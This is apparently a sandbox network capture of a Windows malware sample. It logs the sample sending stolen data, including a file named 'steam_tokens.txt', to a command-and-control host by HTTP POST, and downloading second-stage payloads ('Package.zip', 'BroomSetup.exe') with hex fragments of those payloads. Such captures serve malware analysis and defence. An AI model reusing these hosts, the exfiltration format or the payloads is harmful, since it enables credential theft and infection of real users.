Apr 23, 2024 09:38:39.459960938 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:39.468714952 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:39.793981075 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:39.803575039 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:40.131784916 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:40.161185026 CEST	564	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFB Host: 185.172.128.76 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 2d 2d 0d 0a Data Ascii: ------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="file"------GCAEHDBAAECBFHJKFCFB--
Apr 23, 2024 09:38:40.486602068 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:40.620877981 CEST	204	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 185.172.128.76 Content-Length: 125351 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:41.305360079 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:41.356054068 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 31 38 31 38 31 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="message"1818166------KKEBKJJDGHCBGCAAKEHD--
Apr 23, 2024 09:38:41.702358961 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	176.97.76.106	80	6984	C:\Users\user\Desktop\H6ohQMZygb.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:38:02.855586052 CEST	185	OUT	GET /1/Package.zip HTTP/1.1 Host: note.padd.cn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 23, 2024 09:38:03.088516951 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 07:23:07 GMT Content-Type: application/zip Content-Length: 3814882 Last-Modified: Mon, 22 Apr 2024 20:46:00 GMT Connection: keep-alive ETag: "6626cc88-3a35e2" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 01 00 08 00 82 95 96 58 68 e6 df 2b 2d 33 00 00 9b 51 00 00 0d 00 00 00 67 72 6f 75 70 77 61 72 65 2e 77 61 76 b0 d4 18 19 b9 be 6d c5 56 56 73 1f 3c 43 f6 96 18 00 83 ad f0 00 87 8f c4 31 86 c8 7c 65 1b 0c c0 d7 19 34 10 3c ae af 23 d3 be d4 48 87 5e 35 0d db 87 e1 9b 97 58 3d 02 33 15 6d 59 f3 2f 80 ec 03 b1 4f 1b 69 01 97 ce 40 18 8b 7e c9 e2 74 d8 ce f8 4a ee 83 50 a5 27 59 f8 ad 02 c1 5c 6c a8 b4 7b 30 51 de 79 97 73 e6 88 6d a6 64 7e b7 15 2c 34 6b 09 47 c1 75 9d af 82 8a 8c 6f bf fb ba c7 25 43 4f 91 5b e2 38 af 09 bb 49 3e cc eb ba 53 98 4d 40 6b 3d a1 7e c0 79 39 c6 5b c1 c5 10 30 60 8e 47 dc 7d 09 c9 9a 64 04 b2 da 92 97 0f aa 51 a7 30 d1 40 22 fe 96 31 8a 40 4c 80 59 da 3b e2 e9 6f 4d 46 7a ee ab f1 6f 46 dc 51 de b4 52 3f a3 ce 8a 04 27 33 e5 1c 11 7f d1 9e f1 b1 b7 88 16 4e 2d fa e7 55 6c d6 b4 18 60 dd b2 c0 de 7c 73 97 0a 6a f4 5e e3 db 84 96 3f 1e 29 3a 71 ab c2 33 c9 44 95 b4 38 61 f1 38 6a 16 82 05 65 c7 25 1e ec 4e b0 2e d1 7a ed e5 69 a8 14 d6 29 b4 83 66 c6 71 71 a9 46 77 46 c8 a4 ab 2e 80 a4 f3 8f 99 0c e3 ee 62 ce cf bd e5 bf 9b 00 5a da 48 30 46 b9 fc 16 41 be 5c 4e 19 ff 29 c9 e2 04 e6 b8 18 b2 f7 47 25 9e 6b f9 37 26 5c 9c 5f 5e 4f b3 b0 b7 a6 88 cd e9 a2 9f ef 87 15 a6 84 9a 2e 34 6e 49 6c 66 d4 d1 5b 7f 70 45 00 0f 50 30 af 78 99 c9 b0 b1 b1 ca 25 9a 15 f2 61 ee ea a7 b7 bc 6c 9a 7a 13 b9 32 ed 26 16 7e 74 28 c8 f2 78 42 c7 19 7b 6a a5 3c b0 5f 72 89 34 9e 94 4a 09 49 4a ea 90 be 56 cd 0c d4 e0 54 2f 7a 84 77 71 e2 af 93 4d 15 0f f8 ec 24 4d 63 1f a5 68 cb 9d 5a c8 66 70 63 67 98 f6 58 82 a0 4c d9 4a 58 4b ee 5e 1e 78 dc 39 23 78 d0 2f 19 f0 ae d6 54 b8 42 65 19 d1 98 a8 f7 ca 03 cb 54 e5 da 50 5d d0 7b fc c3 95 b9 1c dd 79 5e 6e 72 7e 9d 1f 37 47 a6 ad 1e fe ae 75 ca b0 ee 73 d6 fb 48 a7 b8 d4 98 1a d3 f3 95 d8 98 71 36 54 d2 aa 7e a4 b3 17 4f c7 dd f5 ab 63 cd 4e 91 b9 7d 84 f9 c1 4d 3e 67 21 34 20 f9 df f1 cb 54 29 52 c7 54 d6 a5 60 10 86 69 fd ff e4 e7 9f 76 89 8a a4 2d 71 67 24 59 91 fe e9 f5 31 64 da 93 b3 58 46 ae 5a dc 48 8a 38 c6 5d 06 ad f0 f7 67 cc 87 5b 36 31 b9 fe 02 aa 35 b4 54 c6 e0 d1 1f eb e8 9f ec b0 bd 73 4d 16 7e 88 59 57 a4 c1 5f 03 8e c9 48 2f d0 27 91 4d 67 f5 8e 49 33 8a 26 99 73 2f bd 18 24 dd c1 21 de 82 79 5f bf 11 2d d8 74 dd c4 d6 0f ab c4 55 fa ca c3 24 dc 1d e8 c1 76 c0 bf fa 1e 74 72 94 49 df ec 6f b2 03 d6 80 61 08 e7 1b 21 d0 d4 9b 48 3e 95 97 a7 65 52 c4 be b1 20 0b 85 b1 6b 3b 76 04 97 e2 74 5f 76 63 21 81 75 64 33 22 06 e3 35 a7 28 72 63 7f 70 25 99 1d 5c 65 59 3f bc 8c dc ca e9 28 a3 90 bd 90 01 9c cb 37 b6 d0 43 93 d5 ba da 81 73 c2 56 b8 b5 32 fb c2 18 bc be d4 5d 7a 73 6c 0c fd f7 f2 e7 8c f6 b0 62 f7 96 81 89 59 11 ee 00 40 06 c1 c3 d3 f4 63 93 08 eb a1 33 20 52 a2 34 a3 1f 96 30 25 cc b1 21 70 8a 65 d5 6c d1 88 cc 78 de 88 38 da c6 07 b4 7a ec 9c 0a 5a 93 ae 43 fb dc 17 a8 bc b3 ca 89 23 6f f4 e2 af 40 dc e1 29 13 57 eb 62 41 33 d5 db 77 5f 2c a9 d0 35 f6 87 5e 64 49 cc f6 cf 1a d3 b2 39 87 bc 3f 5e 17 aa 5d 4b d1 1f ce 12 0c 5e da 60 ce d8 4b d3 98 3d f6 2e Data Ascii: PKXh+-3Qgroupware.wavmVVs<C1\|e4<#H^5X=3mY/Oi@~tJP'Y\l{0Qysmd~,4kGuo%CO[8I>SM@k=~y9[0`G}dQ0@"1@LY;oMFzoFQR?'3N-Ul`\|sj^?):q3D8a8je%N.zi)fqqFwF.bZH0FA\N)G%k7&\_^O.4nIlf[pEP0x%alz2&~t(xB{j<_r4JIJVT/zwqM$MchZfpcgXLJXK^x9#x/TBeTP]{y^nr~7GusHq6T~OcN}M>g!4 T)RT`iv-qg$Y1dXFZH8]g[615TsM~YW_H/'MgI3&s/$!y_-tU$vtrIoa!H>eR k;vt_vc!ud3"5(rcp%\eY?(7CsV2]zslbY@c3 R40%!pelx8zZC#o@)WbA3w_,5^dI9?^]K^`K=.
Apr 23, 2024 09:38:03.088536024 CEST	1289	IN	Data Raw: 00 f4 e4 3a df ec 9a 58 11 a5 ee bc cf bb 6e 42 02 9f 3b 88 f7 b0 ed c7 e4 81 60 b7 e7 4a 5b a0 07 35 57 6b 28 03 3a 38 7e be 0b e5 30 3a 3f 97 6a 58 d1 64 e6 11 aa 9f 60 38 58 38 23 e0 a8 fe 01 7d ca 76 0f 28 a3 48 b9 c3 e6 8b 8e a2 af 23 81 e2 Data Ascii: :XnB;`J[5Wk(:8~0:?jXd`8X8#}v(H#3q>@7:&"pHm2!Rs<t?]`W}2}zCw(bu ZtmGQ*YU2?i`d%crHGVA~t8@
Apr 23, 2024 09:38:03.088551998 CEST	1289	IN	Data Raw: e6 34 db 42 34 c7 43 f9 19 93 a0 0a 3e d5 b4 1c e2 ce 77 66 cc bc 49 82 21 94 79 b3 1f 2d 70 bc a9 b5 8d c7 99 1a 8e d2 04 66 46 54 c3 d3 f9 10 4c c0 fc 63 ed 5e 0a 5c 64 65 c9 45 1e c2 76 10 52 1e 24 5d 90 ed 05 a4 b5 53 2f d0 58 78 a5 fe 81 fd Data Ascii: 4B4C>wfI!y-pfFTLc^\deEvR$]S/XxiDMuR5\|'GM=c25T&@1{\[{\|P BXPf 9p @s\|W8#6"gP.[s"%d\";5OGY+I&Op
Apr 23, 2024 09:38:03.088591099 CEST	1289	IN	Data Raw: 7c 07 85 3a 91 77 80 7f a1 2a ea 8d 3c 65 13 d4 4c 31 c4 ae 4c 3b 4a d3 6e aa 91 2b ef ce de 3d 34 a5 a1 41 09 79 48 aa a6 92 3c 3b 72 7b 75 43 26 a9 92 13 d3 e5 12 38 79 29 c1 41 c3 fe f5 ec ca 80 a2 b0 58 68 75 33 98 b3 1a 9f a5 b9 f8 f7 cb fb Data Ascii: \|:w<eL1L;Jn+=4AyH<;r{uC&8y)AXhu3#<4{.~X%f6cYU:S1@>`{$IVk.{GO.juc9A=~EzM/Ou[\(rXre{:QFu~k
Apr 23, 2024 09:38:03.088608027 CEST	1289	IN	Data Raw: 44 86 26 9f c9 91 2c 9d 7f 27 6e bd a6 db c1 7a 9f 1d 1f 4a 3b 68 01 1d a5 22 59 3a 84 73 6e 15 ae fd 15 17 3e 1a 57 52 d4 57 60 d0 b7 4f c9 df 37 0e 44 5b f1 28 5b f7 88 54 22 ba 72 f8 56 07 6d 97 d3 a7 fa 7e 01 c2 fc 00 4e e3 49 39 25 09 28 87 Data Ascii: D&,'nzJ;h"Y:sn>WRW`O7D[([T"rVm~NI9%( 9{ZP`dW1YYo)<H*\aj~'UH_TuoK-HQBK`Lc#WT-EyE=m#m@46>bGThF=73KG
Apr 23, 2024 09:38:03.088624954 CEST	1289	IN	Data Raw: 6d 75 18 52 47 5e b8 a9 1d 75 a9 52 f0 0a 70 b5 97 38 7f 49 91 ee 1b 65 a9 4c 4a 82 d7 88 d6 72 c6 73 01 8d a0 e6 79 88 f1 ed 08 15 5c fe df cf 9a 7c ae 39 12 b4 a0 ff fa 41 91 b8 b7 26 b4 9a 9e 7c 82 57 46 70 32 56 b8 93 5e 5c cb 7d 72 5e da df Data Ascii: muRG^uRp8IeLJrsy\\|9A&\|WFp2V^\}r^*EN" @44Y+mV<b]n)cjK"p_PV6%'A0ZK5_~ZZH=<nEc'`]y<gPYpg!7,rcHO \|k:Kn
Apr 23, 2024 09:38:03.088640928 CEST	1289	IN	Data Raw: 4c 12 08 09 cb 49 95 bf f0 f2 84 07 a7 e6 ec 1c 49 c3 8d 31 95 b9 2a 8c 81 30 60 0e fb f2 c7 d4 3f ab a0 c6 d9 8e dd 8c 78 1c c5 0d d4 72 97 18 f9 a6 66 85 43 dc 64 17 06 eb d4 fa 77 bf 12 02 59 be a6 6e 12 8b d5 de 3a 69 4a 8a cc e6 7b eb 98 2c Data Ascii: LII10`?xrfCdwYn:iJ{,pZY_3>osTU \|e0J{BqI#>>\sNua]c`iA3-Fd=tyws(x,n-=hC#@PGF.KBGw0F
Apr 23, 2024 09:38:03.088656902 CEST	1289	IN	Data Raw: f9 4c 01 63 a5 3d 23 b8 4e b6 4b 2a 15 2e fe 89 02 b2 65 6e e1 a5 8c e3 ce eb a4 c5 7e b9 2d 72 6e 8d dd 1b 02 15 9e e8 bd 49 ad df 88 4f e0 48 da db b4 90 7d 4c cc 59 79 f2 69 b6 26 3b 03 1c 3c 8c f4 29 b3 6e 93 92 71 10 58 9e d5 55 ca 23 c9 0d Data Ascii: Lc=#NK.en~-rnIOH}LYyi&;<)nqXU#S4Wwb$LdQt^\|`,S<%6[qvJXA&GlolCWw,\)OCF}}S);gnyk;h{9PyQwQoM#kenHjK
Apr 23, 2024 09:38:03.088675022 CEST	1289	IN	Data Raw: 64 ad 2f 8b cb 2f d2 e7 b0 49 44 05 39 ce 03 fc 6e 06 34 a4 2b e6 e9 db 3f da 75 40 01 fc 34 65 97 be 8a b1 58 41 d9 6e 09 ed 0a 16 cf 1a 7c 87 aa 78 d2 da 71 07 e6 a1 6a 55 91 c3 72 f0 b5 9e 79 c0 3c b9 4e 4e 29 0d 87 cb 20 05 89 38 16 a9 d4 46 Data Ascii: d//ID9n4+?u@4eXAn\|xqjUry<NN) 8Fz'8:$a[,".Sf0z+:c+D</Lr{1vnG=osJ-BuQP>Fu"=Mk2MLu?%VHyis0
Apr 23, 2024 09:38:03.088691950 CEST	1289	IN	Data Raw: 6c 7a b9 f1 2a eb c6 cf 3f 2b 96 14 19 87 68 f6 00 5b eb 79 9c af c6 21 d0 b9 73 ac 00 6b ae eb 6e 68 64 80 b8 c8 b6 14 15 f3 81 b3 9f 95 14 5c 66 f8 19 79 db c2 d9 28 af 81 9d 07 15 17 4c 5a 4e 2c 81 bb 03 de 80 c5 37 d1 eb 83 a7 6e 53 bf 26 9e Data Ascii: lz*?+h[y!sknhd\fy(LZN,7nS&bZBbF3D8B0gl/4aeh$4,Nq$${8UL@\wIC`ZP><VB.Fj'jC@hCH.:+kn;La@,w
Apr 23, 2024 09:38:03.321459055 CEST	1289	IN	Data Raw: 4c b1 8e 00 15 cb 70 d7 8b 23 bd b2 82 f6 83 41 07 6a c2 38 06 4e f8 ec 06 46 f8 3a a5 2c 05 9e 72 ee c1 1e ec cb 6b 2a 39 23 6d 89 aa fe 95 26 74 18 9f 49 51 ae d7 91 a1 51 6b fa 77 de 68 cf 48 02 c7 34 8d cd 7b 33 5e e5 4d 78 b3 60 2f f7 c6 47 Data Ascii: Lp#Aj8NF:,rk9#m&tIQQkwhH4{3^Mx`/Gk,_=z\H"W\|gH`c)oMdfE]_'tm- U"V+G1R'>!V9Ba/icx$ =$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	185.172.128.228	80	6984	C:\Users\user\Desktop\H6ohQMZygb.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:38:09.622879982 CEST	185	OUT	GET /BroomSetup.exe HTTP/1.1 Host: 185.172.128.228 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 23, 2024 09:38:09.827526093 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 07:38:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 15 Mar 2024 11:59:56 GMT ETag: "4a4030-613b1bf118700" Accept-Ranges: bytes Content-Length: 4866096 Content-Type: application/x-msdos-program Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 84 e1 90 58 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 c4 35 00 00 50 14 00 00 00 00 00 60 d5 35 00 00 10 00 00 00 e0 35 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 60 c3 4a 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 37 00 9c 4e 00 00 00 d0 3c 00 eb fe 0d 00 00 00 00 00 00 00 00 00 00 18 4a 00 30 28 00 00 00 30 38 00 84 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 38 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 be 37 00 e0 0b 00 00 00 00 38 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 85 35 00 00 10 00 00 00 86 35 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 3c 3d 00 00 00 a0 35 00 00 3e 00 00 00 8a 35 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 b0 56 01 00 00 e0 35 00 00 58 01 00 00 c8 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 8c 6d 00 00 00 40 37 00 00 00 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 9c 4e 00 00 00 b0 37 00 00 50 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 d2 09 00 00 00 00 38 00 00 0a 00 00 00 70 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 40 00 00 00 00 10 38 00 00 00 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 38 00 00 02 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 84 9a 04 00 00 30 38 00 00 9c 04 00 00 7c 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 eb fe 0d 00 00 d0 3c 00 00 00 0e 00 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 4a 00 00 00 00 00 00 0c 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 Data Ascii: MZP@!L!This program must be run under Win32$7PELX5P`55@J`J@7N<J0(08 878.texth55 `.itext<=5>5 `.dataV5X5@.bssm@7 7.idataN7P 7@.didata8p7@.tls@8z7.rdata 8z7@@.reloc08\|7@B.rsrc<<@@JJ@@@Boole
Apr 23, 2024 09:38:09.827575922 CEST	1289	IN	Data Raw: 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 74 65 6d 02 00 00 00 34 10 40 00 02 08 41 6e 73 69 43 68 61 72 01 00 00 00 00 ff 00 00 00 02 00 00 00 00 50 10 40 00 09 04 43 68 61 72 03 00 00 00 00 ff ff Data Ascii: an@FalseTrueSystem4@AnsiCharP@Charh@ShortInt@SmallInt@Integer@Byte@Word@Pointer@
Apr 23, 2024 09:38:09.827594042 CEST	1289	IN	Data Raw: 74 72 69 65 73 02 00 02 00 00 00 00 24 15 40 00 0e 07 54 4d 65 74 68 6f 64 08 00 00 00 00 00 00 00 00 02 00 00 00 e4 10 40 00 00 00 00 00 02 04 43 6f 64 65 02 00 e4 10 40 00 04 00 00 00 02 04 44 61 74 61 02 00 02 00 06 00 0b 94 7f 40 00 0c 26 6f Data Ascii: tries$@TMethod@Code@Data@&op_Equality@ @Left @Right@&op_Inequality@ @Left @Right@&op_GreaterThan@ @Left @Right@&o
Apr 23, 2024 09:38:09.827610970 CEST	1289	IN	Data Raw: 73 73 02 00 02 00 3b 00 20 85 40 00 0d 4d 65 74 68 6f 64 41 64 64 72 65 73 73 03 00 e4 10 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 12 e4 11 40 00 01 00 04 4e 61 6d 65 02 00 02 00 3b 00 a4 85 40 00 0d 4d 65 74 68 6f 64 41 64 64 72 Data Ascii: ss; @MethodAddress@Self@Name;@MethodAddress@Self@NameF@MethodName@Self@Address@@=L~@QualifiedClassName@Self@
Apr 23, 2024 09:38:09.827706099 CEST	1289	IN	Data Raw: 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 50 1f 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 18 1f 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 53 79 73 74 65 Data Ascii: ceFSystemP@IEnumerable@System@IDispatch@FSystemD$UD$sD$@@@F@@\ @@<!@\
Apr 23, 2024 09:38:09.827723980 CEST	1289	IN	Data Raw: 40 00 01 00 00 00 00 02 00 3c 24 40 00 14 09 50 56 61 72 41 72 72 61 79 50 24 40 00 02 00 00 00 00 54 24 40 00 0e 09 54 56 61 72 41 72 72 61 79 18 00 00 00 00 00 00 00 00 06 00 00 00 cc 10 40 00 00 00 00 00 02 08 44 69 6d 43 6f 75 6e 74 02 00 cc Data Ascii: @<$@PVarArrayP$@T$@TVarArray@DimCount@Flags@ElementSize@LockCount@Data$@Bounds$@TVarRecord@PRecord@RecI
Apr 23, 2024 09:38:09.827739954 CEST	1289	IN	Data Raw: 41 00 f4 ff 24 2c 40 00 43 00 f4 ff 5a 2c 40 00 43 00 f4 ff a5 2c 40 00 43 00 f4 ff d9 2c 40 00 43 00 f4 ff 3b 2d 40 00 43 00 f4 ff 9d 2d 40 00 43 00 f4 ff ff 2d 40 00 43 00 f4 ff 61 2e 40 00 43 00 f4 ff c3 2e 40 00 43 00 f4 ff 25 2f 40 00 43 00 Data Ascii: A$,@CZ,@C,@C,@C;-@C-@C-@Ca.@C.@C%/@C/@C/@CK0@C0@C1@Cq1@C1@C52@C2@C2@C;3@C~3@C3@C4@CE4@C4@C4@C=5@C5@C5@C
Apr 23, 2024 09:38:09.827755928 CEST	1289	IN	Data Raw: 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 30 e4 40 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 d0 41 40 00 01 00 03 53 72 63 02 00 00 9c 10 Data Ascii: StartIndex@Countb0@CopySelfA@Src@StartIndex'@Dest@Countb@CopySelf'@SrcA@Dest@StartIndex@Countb@Copy
Apr 23, 2024 09:38:09.827771902 CEST	1289	IN	Data Raw: 36 03 00 80 10 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 9c 27 40 00 01 00 03 50 74 72 02 00 00 54 11 40 00 02 00 03 4f 66 73 02 00 02 00 43 00 d4 e8 40 00 09 52 65 61 64 49 6e 74 33 32 03 00 9c 10 40 00 08 00 03 00 00 00 00 00 Data Ascii: 6@Self'@PtrT@OfsC@ReadInt32@Self'@PtrT@OfsC@ReadInt64@Self'@PtrT@OfsA@ReadPtr'@Self'@PtrT@
